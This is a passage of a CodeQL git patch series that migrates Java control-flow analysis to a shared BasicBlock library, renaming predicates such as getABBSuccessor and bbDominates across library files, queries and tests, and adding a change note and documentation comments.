reachable in the CFG, and is not the entrypoint in a callable, an // expression in an assert statement, or a catch clause. - forall(BasicBlock bb | bb = this.getABBPredecessor() | bb instanceof UnreachableBasicBlock) and + forall(BasicBlock bb | bb = this.getAPredecessor() | bb instanceof UnreachableBasicBlock) and not exists(Callable c | c.getBody().getControlFlowNode() = this.getFirstNode()) and not this.getFirstNode().asExpr().getEnclosingStmt() instanceof AssertStmt and not this.getFirstNode().asStmt() instanceof CatchClause @@ -219,11 +219,10 @@ class UnreachableBasicBlock extends BasicBlock { // Not accessible from the switch expression unreachableCaseBlock = constSwitchStmt.getAFailingCase().getBasicBlock() and // Not accessible from the successful case - not constSwitchStmt.getMatchingCase().getBasicBlock().getABBSuccessor*() = - unreachableCaseBlock + not constSwitchStmt.getMatchingCase().getBasicBlock().getASuccessor*() = unreachableCaseBlock | // Blocks dominated by an unreachable case block are unreachable - unreachableCaseBlock.bbDominates(this) + unreachableCaseBlock.dominates(this) ) } } diff --git a/java/ql/lib/semmle/code/java/controlflow/internal/GuardsLogic.qll b/java/ql/lib/semmle/code/java/controlflow/internal/GuardsLogic.qll index 9f7b88f9af11..4cb3bc74f97f 100644 --- a/java/ql/lib/semmle/code/java/controlflow/internal/GuardsLogic.qll +++ b/java/ql/lib/semmle/code/java/controlflow/internal/GuardsLogic.qll @@ -239,7 +239,7 @@ SsaVariable getADefinition(SsaVariable v, boolean fromBackEdge) { exists(SsaVariable inp, BasicBlock bb, boolean fbe | v.(SsaPhiNode).hasInputFromBlock(inp, bb) and result = getADefinition(inp, fbe) and - (if v.getBasicBlock().bbDominates(bb) then fromBackEdge = true else fromBackEdge = fbe) + (if v.getBasicBlock().dominates(bb) then fromBackEdge = true else fromBackEdge = fbe) ) } @@ -306,7 +306,7 @@ private predicate guardControlsPhiBranch( guard.directlyControls(upd.getBasicBlock(), branch) and upd.getDefiningExpr().(VariableAssign).getSource() = e and upd = phi.getAPhiInput() and - guard.getBasicBlock().bbStrictlyDominates(phi.getBasicBlock()) + guard.getBasicBlock().strictlyDominates(phi.getBasicBlock()) } /** @@ -331,7 +331,7 @@ private predicate conditionalAssign(SsaVariable v, Guard guard, boolean branch, forall(SsaVariable other | other != upd and other = phi.getAPhiInput() | guard.directlyControls(other.getBasicBlock(), branch.booleanNot()) or - other.getBasicBlock().bbDominates(guard.getBasicBlock()) and + other.getBasicBlock().dominates(guard.getBasicBlock()) and not other.isLiveAtEndOfBlock(getAGuardBranchSuccessor(guard, branch)) ) ) diff --git a/java/ql/lib/semmle/code/java/dataflow/Nullness.qll b/java/ql/lib/semmle/code/java/dataflow/Nullness.qll index 757720b9ae8d..786207d34865 100644 --- a/java/ql/lib/semmle/code/java/dataflow/Nullness.qll +++ b/java/ql/lib/semmle/code/java/dataflow/Nullness.qll @@ -298,7 +298,7 @@ private predicate impossibleEdge(BasicBlock bb1, BasicBlock bb2) { private predicate leavingFinally(BasicBlock bb1, BasicBlock bb2, boolean normaledge) { exists(TryStmt try, BlockStmt finally | try.getFinally() = finally and - bb1.getABBSuccessor() = bb2 and + bb1.getASuccessor() = bb2 and bb1.getFirstNode().getEnclosingStmt().getEnclosingStmt*() = finally and not bb2.getFirstNode().getEnclosingStmt().getEnclosingStmt*() = finally and if bb1.getLastNode().getANormalSuccessor() = bb2.getFirstNode() @@ -339,7 +339,7 @@ private predicate nullVarStep( midssa.isLiveAtEndOfBlock(mid) and not ensureNotNull(midssa).getBasicBlock() = mid and not assertFail(mid, _) and - bb = mid.getABBSuccessor() and + bb = mid.getASuccessor() and not impossibleEdge(mid, bb) and not exists(boolean branch | nullGuard(midssa, branch, false).hasBranchEdge(mid, bb, branch)) and not (leavingFinally(mid, bb, true) and midstoredcompletion = true) and diff --git a/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll b/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll index 499d27b594d0..b43990e14553 100644 --- a/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll +++ b/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll @@ -209,7 +209,7 @@ module Sem implements Semantic { class BasicBlock = J::BasicBlock; - BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.getABBSuccessor() } + BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.getASuccessor() } private predicate id(ExprParent x, ExprParent y) { x = y } diff --git a/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll b/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll index d29cc1ae5421..f2fcbc5951d4 100644 --- a/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll +++ b/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll @@ -321,14 +321,14 @@ private module Input implements TypeFlowInput { */ private predicate instanceofDisjunct(InstanceOfExpr ioe, BasicBlock bb, BaseSsaVariable v) { ioe.getExpr() = v.getAUse() and - strictcount(bb.getABBPredecessor()) > 1 and + strictcount(bb.getAPredecessor()) > 1 and exists(ConditionBlock cb | cb.getCondition() = ioe and cb.getTestSuccessor(true) = bb) } /** Holds if `bb` is disjunctively guarded by multiple `instanceof` tests on `v`. */ private predicate instanceofDisjunction(BasicBlock bb, BaseSsaVariable v) { strictcount(InstanceOfExpr ioe | instanceofDisjunct(ioe, bb, v)) = - strictcount(bb.getABBPredecessor()) + strictcount(bb.getAPredecessor()) } /** @@ -338,7 +338,7 @@ private module Input implements TypeFlowInput { predicate instanceofDisjunctionGuarded(TypeFlowNode n, RefType t) { exists(BasicBlock bb, InstanceOfExpr ioe, BaseSsaVariable v, VarAccess va | instanceofDisjunction(bb, v) and - bb.bbDominates(va.getBasicBlock()) and + bb.dominates(va.getBasicBlock()) and va = v.getAUse() and instanceofDisjunct(ioe, bb, v) and t = ioe.getSyntacticCheckedType() and diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll b/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll index 3ce4fbcce9ff..874aca871832 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll @@ -157,15 +157,14 @@ private import BaseSsaImpl private module SsaInput implements SsaImplCommon::InputSig { private import java as J - private import semmle.code.java.controlflow.Dominance as Dom class BasicBlock = J::BasicBlock; class ControlFlowNode = J::ControlFlowNode; - BasicBlock getImmediateBasicBlockDominator(BasicBlock bb) { Dom::bbIDominates(result, bb) } + BasicBlock getImmediateBasicBlockDominator(BasicBlock bb) { result.immediatelyDominates(bb) } - BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.getABBSuccessor() } + BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.getASuccessor() } class SourceVariable = BaseSsaSourceVariable; diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowPrivate.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowPrivate.qll index d1df53a8a859..9e924df12780 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowPrivate.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowPrivate.qll @@ -83,12 +83,12 @@ private module CaptureInput implements VariableCapture::InputSig { class ControlFlowNode = J::ControlFlowNode; - BasicBlock getImmediateBasicBlockDominator(BasicBlock bb) { bbIDominates(result, bb) } - - BasicBlock getABasicBlockSuccessor(BasicBlock bb) { - result = bb.(J::BasicBlock).getABBSuccessor() + BasicBlock getImmediateBasicBlockDominator(BasicBlock bb) { + result.(J::BasicBlock).immediatelyDominates(bb) } + BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.(J::BasicBlock).getASuccessor() } + //TODO: support capture of `this` in lambdas class CapturedVariable instanceof LocalScopeVariable { CapturedVariable() { diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll index e87c92f3d6c5..6000c37c6cdd 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll @@ -40,14 +40,14 @@ private module ThisFlow { private int lastRank(BasicBlock b) { result = max(int rankix | thisRank(_, b, rankix)) } - private predicate blockPrecedesThisAccess(BasicBlock b) { thisAccess(_, b.getABBSuccessor*(), _) } + private predicate blockPrecedesThisAccess(BasicBlock b) { thisAccess(_, b.getASuccessor*(), _) } private predicate thisAccessBlockReaches(BasicBlock b1, BasicBlock b2) { - thisAccess(_, b1, _) and b2 = b1.getABBSuccessor() + thisAccess(_, b1, _) and b2 = b1.getASuccessor() or exists(BasicBlock mid | thisAccessBlockReaches(b1, mid) and - b2 = mid.getABBSuccessor() and + b2 = mid.getASuccessor() and not thisAccess(_, mid, _) and blockPrecedesThisAccess(b2) ) diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll index 26342debbb05..6054db635bc7 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll @@ -165,15 +165,14 @@ private predicate uncertainVariableUpdate(TrackedVar v, ControlFlowNode n, Basic private module SsaInput implements SsaImplCommon::InputSig { private import java as J - private import semmle.code.java.controlflow.Dominance as Dom class BasicBlock = J::BasicBlock; class ControlFlowNode = J::ControlFlowNode; - BasicBlock getImmediateBasicBlockDominator(BasicBlock bb) { Dom::bbIDominates(result, bb) } + BasicBlock getImmediateBasicBlockDominator(BasicBlock bb) { result.immediatelyDominates(bb) } - BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.getABBSuccessor() } + BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.getASuccessor() } class SourceVariable = SsaSourceVariable; diff --git a/java/ql/lib/semmle/code/java/security/AndroidWebViewCertificateValidationQuery.qll b/java/ql/lib/semmle/code/java/security/AndroidWebViewCertificateValidationQuery.qll index 8e6a9c30141f..8d53766e0080 100644 --- a/java/ql/lib/semmle/code/java/security/AndroidWebViewCertificateValidationQuery.qll +++ b/java/ql/lib/semmle/code/java/security/AndroidWebViewCertificateValidationQuery.qll @@ -24,6 +24,6 @@ private class SslProceedCall extends MethodCall { /** Holds if `m` trusts all certificates by calling `SslErrorHandler.proceed` unconditionally. */ predicate trustsAllCerts(OnReceivedSslErrorMethod m) { exists(SslProceedCall pr | pr.getQualifier().(VarAccess).getVariable() = m.handlerArg() | - pr.getBasicBlock().bbPostDominates(m.getBody().getBasicBlock()) + pr.getBasicBlock().postDominates(m.getBody().getBasicBlock()) ) } diff --git a/java/ql/lib/semmle/code/java/security/PathSanitizer.qll b/java/ql/lib/semmle/code/java/security/PathSanitizer.qll index 8b08b5a78f2f..f3385c94646b 100644 --- a/java/ql/lib/semmle/code/java/security/PathSanitizer.qll +++ b/java/ql/lib/semmle/code/java/security/PathSanitizer.qll @@ -21,7 +21,7 @@ private module ValidationMethod { validationMethod(ma.getMethod(), pos) and ma.getArgument(pos) = rv and adjacentUseUseSameVar(rv, result.asExpr()) and - ma.getBasicBlock().bbDominates(result.asExpr().getBasicBlock()) + ma.getBasicBlock().dominates(result.asExpr().getBasicBlock()) ) } diff --git a/java/ql/lib/semmle/code/java/security/UrlForwardQuery.qll b/java/ql/lib/semmle/code/java/security/UrlForwardQuery.qll index bc3b40009270..7234b4c788f5 100644 --- a/java/ql/lib/semmle/code/java/security/UrlForwardQuery.qll +++ b/java/ql/lib/semmle/code/java/security/UrlForwardQuery.qll @@ -168,7 +168,7 @@ private class FullyDecodesUrlBarrier extends DataFlow::Node { exists(Variable v, Expr e | this.asExpr() = v.getAnAccess() | fullyDecodesUrlGuard(e) and e = v.getAnAccess() and - e.getBasicBlock().bbDominates(this.asExpr().getBasicBlock()) + e.getBasicBlock().dominates(this.asExpr().getBasicBlock()) ) } } diff --git a/java/ql/lib/semmle/code/java/security/Validation.qll b/java/ql/lib/semmle/code/java/security/Validation.qll index 13df6fe49c74..664c55e70d82 100644 --- a/java/ql/lib/semmle/code/java/security/Validation.qll +++ b/java/ql/lib/semmle/code/java/security/Validation.qll @@ -42,14 +42,14 @@ private predicate validatedAccess(VarAccess va) { exists(BasicBlock succ | succ.getFirstNode() = node.getANormalSuccessor() and dominatingEdge(node.getBasicBlock(), succ) and - succ.bbDominates(va.getBasicBlock()) + succ.dominates(va.getBasicBlock()) ) or exists(BasicBlock bb, int i | bb.getNode(i) = node and bb.getNode(i + 1) = node.getANormalSuccessor() | - bb.bbStrictlyDominates(va.getBasicBlock()) or + bb.strictlyDominates(va.getBasicBlock()) or bb.getNode(any(int j | j > i)).asExpr() = va ) ) diff --git a/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql b/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql index cc6c3d816cee..118593e31fe8 100644 --- a/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql +++ b/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql @@ -145,9 +145,7 @@ predicate variableLockStateCheck(LockType t, BasicBlock checkblock, BasicBlock f predicate blockIsLocked(LockType t, BasicBlock src, BasicBlock b, int locks) { lockUnlockBlock(t, b, locks) and src = b and locks > 0 or - exists(BasicBlock pred, int predlocks, int curlocks, int failedlock | - pred = b.getABBPredecessor() - | + exists(BasicBlock pred, int predlocks, int curlocks, int failedlock | pred = b.getAPredecessor() | // The number of net locks from the `src` block to the predecessor block `pred` is `predlocks`. blockIsLocked(t, src, pred, predlocks) and // The recursive call ensures that at least one lock is held, so do not consider the false diff --git a/java/ql/src/Likely Bugs/Likely Typos/NestedLoopsSameVariable.ql b/java/ql/src/Likely Bugs/Likely Typos/NestedLoopsSameVariable.ql index 83781f853778..f3f23e6893ba 100644 --- a/java/ql/src/Likely Bugs/Likely Typos/NestedLoopsSameVariable.ql +++ b/java/ql/src/Likely Bugs/Likely Typos/NestedLoopsSameVariable.ql @@ -18,6 +18,6 @@ where iteration = inner.getAnIterationVariable() and iteration = outer.getAnIterationVariable() and inner.getEnclosingStmt+() = outer and - inner.getBasicBlock().getABBSuccessor+() = outer.getCondition().getBasicBlock() + inner.getBasicBlock().getASuccessor+() = outer.getCondition().getBasicBlock() select inner.getCondition(), "Nested for statement uses loop variable $@ of enclosing $@.", iteration, iteration.getName(), outer, "for statement" diff --git a/java/ql/src/Violations of Best Practice/Dead Code/DeadLocals.qll b/java/ql/src/Violations of Best Practice/Dead Code/DeadLocals.qll index 773743370f64..26c5ed66a86d 100644 --- a/java/ql/src/Violations of Best Practice/Dead Code/DeadLocals.qll +++ b/java/ql/src/Violations of Best Practice/Dead Code/DeadLocals.qll @@ -37,7 +37,7 @@ predicate overwritten(VariableUpdate upd) { bb1.getNode(i) = upd.getControlFlowNode() and bb2.getNode(j) = overwrite.getControlFlowNode() | - bb1.getABBSuccessor+() = bb2 + bb1.getASuccessor+() = bb2 or bb1 = bb2 and i < j ) diff --git a/java/ql/src/Violations of Best Practice/Declarations/Common.qll b/java/ql/src/Violations of Best Practice/Declarations/Common.qll index 9211c4b0f290..9b3225db81a1 100644 --- a/java/ql/src/Violations of Best Practice/Declarations/Common.qll +++ b/java/ql/src/Violations of Best Practice/Declarations/Common.qll @@ -14,7 +14,7 @@ private predicate blockInSwitch(SwitchStmt s, BasicBlock b) { private predicate switchCaseControlFlow(SwitchStmt switch, BasicBlock b1, BasicBlock b2) { blockInSwitch(switch, b1) and - b1.getABBSuccessor() = b2 and + b1.getASuccessor() = b2 and blockInSwitch(switch, b2) } diff --git a/java/ql/src/meta/ssa/UseWithoutUniqueSsaVariable.ql b/java/ql/src/meta/ssa/UseWithoutUniqueSsaVariable.ql index 85bd192fe99a..76f6ee37fb1c 100644 --- a/java/ql/src/meta/ssa/UseWithoutUniqueSsaVariable.ql +++ b/java/ql/src/meta/ssa/UseWithoutUniqueSsaVariable.ql @@ -13,7 +13,7 @@ import semmle.code.java.dataflow.SSA class SsaConvertibleReadAccess extends VarRead { SsaConvertibleReadAccess() { - this.getEnclosingCallable().getBody().getBasicBlock().getABBSuccessor*() = this.getBasicBlock() and + this.getEnclosingCallable().getBody().getBasicBlock().getASuccessor*() = this.getBasicBlock() and ( not exists(this.getQualifier()) or diff --git a/java/ql/test-kotlin1/library-tests/controlflow/basic/bbStrictDominance.ql b/java/ql/test-kotlin1/library-tests/controlflow/basic/bbStrictDominance.ql index 9765b8e6cc5b..de1e23b649cc 100644 --- a/java/ql/test-kotlin1/library-tests/controlflow/basic/bbStrictDominance.ql +++ b/java/ql/test-kotlin1/library-tests/controlflow/basic/bbStrictDominance.ql @@ -1,6 +1,6 @@ -import default +import java import semmle.code.java.controlflow.Dominance from BasicBlock b, BasicBlock b2 -where bbStrictlyDominates(b, b2) +where b.strictlyDominates(b2) select b, b2 diff --git a/java/ql/test-kotlin1/library-tests/controlflow/basic/bbSuccessor.ql b/java/ql/test-kotlin1/library-tests/controlflow/basic/bbSuccessor.ql index 1d464c2a31a8..ae2d8a393b47 100644 --- a/java/ql/test-kotlin1/library-tests/controlflow/basic/bbSuccessor.ql +++ b/java/ql/test-kotlin1/library-tests/controlflow/basic/bbSuccessor.ql @@ -1,5 +1,5 @@ -import default +import java from BasicBlock b, BasicBlock b2 -where b.getABBSuccessor() = b2 +where b.getASuccessor() = b2 select b, b2 diff --git a/java/ql/test-kotlin1/library-tests/controlflow/dominance/dominanceWrong.ql b/java/ql/test-kotlin1/library-tests/controlflow/dominance/dominanceWrong.ql index 5ee23224d5f9..4eadcddc61a6 100644 --- a/java/ql/test-kotlin1/library-tests/controlflow/dominance/dominanceWrong.ql +++ b/java/ql/test-kotlin1/library-tests/controlflow/dominance/dominanceWrong.ql @@ -16,6 +16,6 @@ predicate dominanceCounterExample(ControlFlowNode entry, ControlFlowNode dom, Co from Callable c, ControlFlowNode dom, ControlFlowNode node where - (strictlyDominates(dom, node) or bbStrictlyDominates(dom, node)) and + strictlyDominates(dom, node) and dominanceCounterExample(c.getBody().getControlFlowNode(), dom, node) select c, dom, node diff --git a/java/ql/test-kotlin2/library-tests/controlflow/basic/bbStrictDominance.ql b/java/ql/test-kotlin2/library-tests/controlflow/basic/bbStrictDominance.ql index 9765b8e6cc5b..de1e23b649cc 100644 --- a/java/ql/test-kotlin2/library-tests/controlflow/basic/bbStrictDominance.ql +++ b/java/ql/test-kotlin2/library-tests/controlflow/basic/bbStrictDominance.ql @@ -1,6 +1,6 @@ -import default +import java import semmle.code.java.controlflow.Dominance from BasicBlock b, BasicBlock b2 -where bbStrictlyDominates(b, b2) +where b.strictlyDominates(b2) select b, b2 diff --git a/java/ql/test-kotlin2/library-tests/controlflow/basic/bbSuccessor.ql b/java/ql/test-kotlin2/library-tests/controlflow/basic/bbSuccessor.ql index 1d464c2a31a8..ae2d8a393b47 100644 --- a/java/ql/test-kotlin2/library-tests/controlflow/basic/bbSuccessor.ql +++ b/java/ql/test-kotlin2/library-tests/controlflow/basic/bbSuccessor.ql @@ -1,5 +1,5 @@ -import default +import java from BasicBlock b, BasicBlock b2 -where b.getABBSuccessor() = b2 +where b.getASuccessor() = b2 select b, b2 diff --git a/java/ql/test-kotlin2/library-tests/controlflow/dominance/dominanceWrong.ql b/java/ql/test-kotlin2/library-tests/controlflow/dominance/dominanceWrong.ql index 5ee23224d5f9..4eadcddc61a6 100644 --- a/java/ql/test-kotlin2/library-tests/controlflow/dominance/dominanceWrong.ql +++ b/java/ql/test-kotlin2/library-tests/controlflow/dominance/dominanceWrong.ql @@ -16,6 +16,6 @@ predicate dominanceCounterExample(ControlFlowNode entry, ControlFlowNode dom, Co from Callable c, ControlFlowNode dom, ControlFlowNode node where - (strictlyDominates(dom, node) or bbStrictlyDominates(dom, node)) and + strictlyDominates(dom, node) and dominanceCounterExample(c.getBody().getControlFlowNode(), dom, node) select c, dom, node diff --git a/java/ql/test/library-tests/controlflow/basic/bbStrictDominance.ql b/java/ql/test/library-tests/controlflow/basic/bbStrictDominance.ql index 9765b8e6cc5b..de1e23b649cc 100644 --- a/java/ql/test/library-tests/controlflow/basic/bbStrictDominance.ql +++ b/java/ql/test/library-tests/controlflow/basic/bbStrictDominance.ql @@ -1,6 +1,6 @@ -import default +import java import semmle.code.java.controlflow.Dominance from BasicBlock b, BasicBlock b2 -where bbStrictlyDominates(b, b2) +where b.strictlyDominates(b2) select b, b2 diff --git a/java/ql/test/library-tests/controlflow/basic/bbSuccessor.ql b/java/ql/test/library-tests/controlflow/basic/bbSuccessor.ql index 1d464c2a31a8..ae2d8a393b47 100644 --- a/java/ql/test/library-tests/controlflow/basic/bbSuccessor.ql +++ b/java/ql/test/library-tests/controlflow/basic/bbSuccessor.ql @@ -1,5 +1,5 @@ -import default +import java from BasicBlock b, BasicBlock b2 -where b.getABBSuccessor() = b2 +where b.getASuccessor() = b2 select b, b2 diff --git a/java/ql/test/library-tests/controlflow/dominance/dominanceWrong.ql b/java/ql/test/library-tests/controlflow/dominance/dominanceWrong.ql index 5ee23224d5f9..4eadcddc61a6 100644 --- a/java/ql/test/library-tests/controlflow/dominance/dominanceWrong.ql +++ b/java/ql/test/library-tests/controlflow/dominance/dominanceWrong.ql @@ -16,6 +16,6 @@ predicate dominanceCounterExample(ControlFlowNode entry, ControlFlowNode dom, Co from Callable c, ControlFlowNode dom, ControlFlowNode node where - (strictlyDominates(dom, node) or bbStrictlyDominates(dom, node)) and + strictlyDominates(dom, node) and dominanceCounterExample(c.getBody().getControlFlowNode(), dom, node) select c, dom, node diff --git a/shared/rangeanalysis/codeql/rangeanalysis/RangeAnalysis.qll b/shared/rangeanalysis/codeql/rangeanalysis/RangeAnalysis.qll index d0fc084e6c50..60888c9f93f6 100644 --- a/shared/rangeanalysis/codeql/rangeanalysis/RangeAnalysis.qll +++ b/shared/rangeanalysis/codeql/rangeanalysis/RangeAnalysis.qll @@ -146,7 +146,7 @@ signature module Semantic { class BasicBlock { /** Holds if this block (transitively) dominates `otherblock`. */ - predicate bbDominates(BasicBlock otherBlock); + predicate dominates(BasicBlock otherBlock); } /** Gets an immediate successor of basic block `bb`, if any. */ diff --git a/shared/rangeanalysis/codeql/rangeanalysis/internal/RangeUtils.qll b/shared/rangeanalysis/codeql/rangeanalysis/internal/RangeUtils.qll index ee6e3a4c958a..05aef4805081 100644 --- a/shared/rangeanalysis/codeql/rangeanalysis/internal/RangeUtils.qll +++ b/shared/rangeanalysis/codeql/rangeanalysis/internal/RangeUtils.qll @@ -205,7 +205,7 @@ module MakeUtils Lang, DeltaSig D> { predicate backEdge(SsaPhiNode phi, SsaVariable inp, SsaReadPositionPhiInputEdge edge) { edge.phiInput(phi, inp) and ( - phi.getBasicBlock().bbDominates(edge.getOrigBlock()) or + phi.getBasicBlock().dominates(edge.getOrigBlock()) or irreducibleSccEdge(edge.getOrigBlock(), phi.getBasicBlock()) ) } @@ -227,7 +227,7 @@ module MakeUtils Lang, DeltaSig D> { private predicate trimmedEdge(BasicBlock pred, BasicBlock succ) { getABasicBlockSuccessor(pred) = succ and - not succ.bbDominates(pred) + not succ.dominates(pred) } /** From 6b830faa622693303d55e0dc9a84182d95dde1ad Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 16 May 2025 13:55:16 +0200 Subject: [PATCH 253/535] Java: Add change note. --- java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md diff --git a/java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md b/java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md new file mode 100644 index 000000000000..ff8be9b9eddd --- /dev/null +++ b/java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md @@ -0,0 +1,4 @@ +--- +category: deprecated +--- +* Java now uses the shared `BasicBlock` library. This means that several member predicates now use the preferred names. The old predicates have been deprecated. The `BasicBlock` class itself no longer extends `ControlFlowNode` - the predicate `getFirstNode` can be used to fix any QL code that somehow relied on this. From a98d93b98b54e4e4e7fd38fcb11d5de9f24ac990 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 16 May 2025 14:22:36 +0200 Subject: [PATCH 254/535] Java: Override dominates to reference the right type. --- java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll b/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll index 60fa976ef68d..e8395166d4e8 100644 --- a/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll +++ b/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll @@ -79,6 +79,14 @@ class BasicBlock extends BbImpl::BasicBlock { /** Gets the immediately enclosing callable whose body contains this node. */ Callable getEnclosingCallable() { result = this.getScope() } + /** + * Holds if this basic block dominates basic block `bb`. + * + * That is, all paths reaching `bb` from the entry point basic block must + * go through this basic block. + */ + predicate dominates(BasicBlock bb) { super.dominates(bb) } + /** * DEPRECATED: Use `getASuccessor` instead. * From 3fde675d08789b361e5ae2d1a8bd419e23b5a260 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Mon, 19 May 2025 09:16:29 +0200 Subject: [PATCH 255/535] Java: Extend qldoc. --- .../code/java/controlflow/SuccessorType.qll | 47 +++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/java/ql/lib/semmle/code/java/controlflow/SuccessorType.qll b/java/ql/lib/semmle/code/java/controlflow/SuccessorType.qll index 323d571e6e01..f03e4690a95a 100644 --- a/java/ql/lib/semmle/code/java/controlflow/SuccessorType.qll +++ b/java/ql/lib/semmle/code/java/controlflow/SuccessorType.qll @@ -1,3 +1,7 @@ +/** + * Provides different types of control flow successor types. + */ + import java private import codeql.util.Boolean @@ -6,20 +10,63 @@ private newtype TSuccessorType = TBooleanSuccessor(Boolean branch) or TExceptionSuccessor() +/** The type of a control flow successor. */ class SuccessorType extends TSuccessorType { + /** Gets a textual representation of successor type. */ string toString() { result = "SuccessorType" } } +/** A normal control flow successor. */ class NormalSuccessor extends SuccessorType, TNormalSuccessor { } +/** + * An exceptional control flow successor. + * + * This marks control flow edges that are taken when an exception is thrown. + */ class ExceptionSuccessor extends SuccessorType, TExceptionSuccessor { } +/** + * A conditional control flow successor. + * + * This currently only includes boolean successors (`BooleanSuccessor`). + */ class ConditionalSuccessor extends SuccessorType, TBooleanSuccessor { + /** Gets the Boolean value of this successor. */ boolean getValue() { this = TBooleanSuccessor(result) } } +/** + * A Boolean control flow successor. + * + * For example, this program fragment: + * + * ```java + * if (x < 0) + * return 0; + * else + * return 1; + * ``` + * + * has a control flow graph containing Boolean successors: + * + * ``` + * if + * | + * x < 0 + * / \ + * / \ + * / \ + * true false + * | \ + * return 0 return 1 + * ``` + */ class BooleanSuccessor = ConditionalSuccessor; +/** + * A nullness control flow successor. This is currently unused for Java. + */ class NullnessSuccessor extends ConditionalSuccessor { NullnessSuccessor() { none() } } From 10efea10758f3f67db60b2195c35af0b000098e0 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Tue, 20 May 2025 14:30:40 +0200 Subject: [PATCH 256/535] Java/Shared: Address review comments. --- java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md | 2 +- java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll | 6 ++---- shared/controlflow/codeql/controlflow/BasicBlock.qll | 6 +++--- 3 files changed, 6 insertions(+), 8 deletions(-) diff --git a/java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md b/java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md index ff8be9b9eddd..e71ae5c13175 100644 --- a/java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md +++ b/java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md @@ -1,4 +1,4 @@ --- category: deprecated --- -* Java now uses the shared `BasicBlock` library. This means that several member predicates now use the preferred names. The old predicates have been deprecated. The `BasicBlock` class itself no longer extends `ControlFlowNode` - the predicate `getFirstNode` can be used to fix any QL code that somehow relied on this. +* Java now uses the shared `BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The `BasicBlock` class itself no longer extends `ControlFlowNode` - the predicate `getFirstNode` can be used to fix any QL code that somehow relied on this. diff --git a/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll b/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll index e8395166d4e8..284ee1dad0ce 100644 --- a/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll +++ b/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll @@ -70,10 +70,8 @@ predicate hasDominanceInformation(BasicBlock bb) { } /** - * A control-flow node that represents the start of a basic block. - * - * A basic block is a series of nodes with no control-flow branching, which can - * often be treated as a unit in analyses. + * A basic block, that is, a maximal straight-line sequence of control flow nodes + * without branches or joins. */ class BasicBlock extends BbImpl::BasicBlock { /** Gets the immediately enclosing callable whose body contains this node. */ diff --git a/shared/controlflow/codeql/controlflow/BasicBlock.qll b/shared/controlflow/codeql/controlflow/BasicBlock.qll index d5cda7b910b9..9c26b18c0938 100644 --- a/shared/controlflow/codeql/controlflow/BasicBlock.qll +++ b/shared/controlflow/codeql/controlflow/BasicBlock.qll @@ -246,9 +246,9 @@ module Make Input> { * implies that `(bb1, bb2)` dominates its endpoint `bb2`. I.e., `bb2` can * only be reached from the entry block by going via `(bb1, bb2)`. * - * This is a necessary and sufficient condition for an edge to dominate anything, - * and in particular `dominatingEdge(bb1, bb2) and bb2.dominates(bb3)` means - * that the edge `(bb1, bb2)` dominates `bb3`. + * This is a necessary and 